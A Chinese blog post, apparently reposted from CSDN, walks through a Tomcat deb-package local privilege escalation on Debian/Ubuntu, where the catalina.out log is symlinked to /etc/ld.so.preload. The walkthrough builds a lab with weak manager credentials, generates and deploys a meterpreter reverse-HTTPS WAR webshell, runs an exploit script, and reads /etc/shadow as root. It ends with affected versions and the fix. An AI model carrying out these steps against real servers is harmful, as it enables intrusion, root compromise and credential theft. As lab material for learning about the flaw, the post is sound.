Tomcat本地提权漏洞

Tomcat本地提权漏洞

漏洞分析:


其实这个漏洞影响范围挺广泛的,基本所有使用了deb包的liunx操作系统都会有受到影响,包括不限于ubuntu,debian等,但是利用条件确实比较苛刻,在实际环境中比较难达到。

这个漏洞的原因就出现在tomcat的安装deb包上,当用户使用apt-get方式安装tomcat时。tomcat程序会自动为管理员安装一个启动脚本/etc/init.d/tocat*,当攻击者通过web或者其他途径拿到tomcat的权限时,就可以任意操作tomcat日志目录下的catalina.out文件,如果将此文件删除后,再以以软连接的方式指向/etc/ld.so.preload,一旦tomcat init脚本在服务重启之后再次打开catalina.out文件时,系统就将会以root权限创建该文件,最后更改用户为tomcat,这样就想当于该文件所属用户为tomcat,所属组为root,在使用sudo的时候肯定回调用到getuid方法,于是我们可以在/etc/ld.so.preload文件中加入一个so路径,那么elf程序在运行的时候都必然先去加载这个so并且优先使用里面的函数,从而获取root权限。这种方式就像liunx提权常用到的suid文件提权一样。

影响版本:

受影响 tomcat 版本如下:

Tomcat 8 <= 8.0.36-2

Tomcat 7 <= 7.0.70-2

Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

在tomcat服务在启动时会将log文件catalina.out的所有者改为tomcat用户,启动脚本通常却是以root权限在执行。

那么就可以用创建软链接的方式在root重启tomcat服务时将任意文件的属主改为tomcat 账户。达到访问系统核心配置文件的目的。

比如事先在tomcat权限下,将catalina.out修改为指向那些原本需要高权限才能访问关键系统文件的软链接。

此后root重启tomat便可以访问该系统配置文件。

利用成功的前提条件:

Debian或者Ubuntu的特定 tomcat deb包必须未升级,现在默认在Ubuntu14.04 以后的系统中,官方在上游 apt源就早已修复了该软件包漏洞。

环境搭建:

准备好基础环境 ubuntu 12.04 lts 系统下安装 tomcat7:

首先,安装 tomcat7

apt-get update

apt-get install tomcat7

apt-get install tomcat7-admin tomcat7-examples tomcat7-docs

默认网站目录位置:

/var/lib/tomcat7/webapps/ROOT

添加控制台角色用户,等会儿部署 webshell 要用

# vi /etc/tomcat7/tomcat-users.xml

<role rolename="manager-gui"/>

<role rolename="admin-gui"/>

<user username="tomcat" password="tomcat" roles="manager-gui,admin-gui"/>

# /etc/init.d/tomcat7 restart 重启 tomcat 服务

 本地浏览器访问环境配置成功

先尝试通过部署war包弹回一个低权限的meterpreter的shell。

用 msf 快速生成一个 war 包 webshell

# msfvenom -p java/meterpreter/reverse_https LHOST=192.168.x.x LPORT=443 -f war -o options.war # chmod 777 options.war

再通过默认manager管理控制台把自己war包webshell部署到目标机器上去

本地启动msf监听,访问刚刚部署好的war包webshell的地址http://x.x.x.x/options。

随后看到meterpreter被正常弹回,此时弹回的权限仍然比较低,只是个tomcat服务用户权限。

msf5 > use exploit/multi/handler

msf5 > set payload java/meterpreter/reverse_https

msf5 > set lhost 192.168.x.x

msf5 > set lport 443

msf5 > set exitonsession false

msf5 > exploit 

meterpreter > getuid

meterpreter > pwd

 

找到catalina.out文件所在的路径,默认会在/var/log/tomcat7,上传 exp 脚本并赋予执行权限。

meterpreter > mkdir /tmp/rootdemo

meterpreter > upload /root/tomcat-rootprivesc-deb.sh /tmp/rootdemo/

meterpreter > pwd

meterpreter > cd /tmp/rootdemo

meterpreter > shell

$ chmod +x tomcat-rootprivesc-deb.sh

 跟上catalina.out日志文件所在路径执行exp脚本。待目标重启tomcat服务,我们便可获取一个root权限的shell,在tmp目录下下会生成一个带有 suid 权限的tomcatrootsh文件。

也可把tomcat进程干掉,等管理员重启tomcat。

# /etc/init.d/tomcat7 restart 
# id 
# grep root /etc/shadow 
# w

当目标管理员重启tomcat服务后,我们便立即有了一个root权限的shell

漏洞修复:

更新tomcat到已修复的版本即可,此类通过劫持服务配置文件提权的方式,比如nginx 的某个版本也存在类似的问题。

猜你喜欢

转载自blog.csdn.net/qq_48985780/article/details/121423608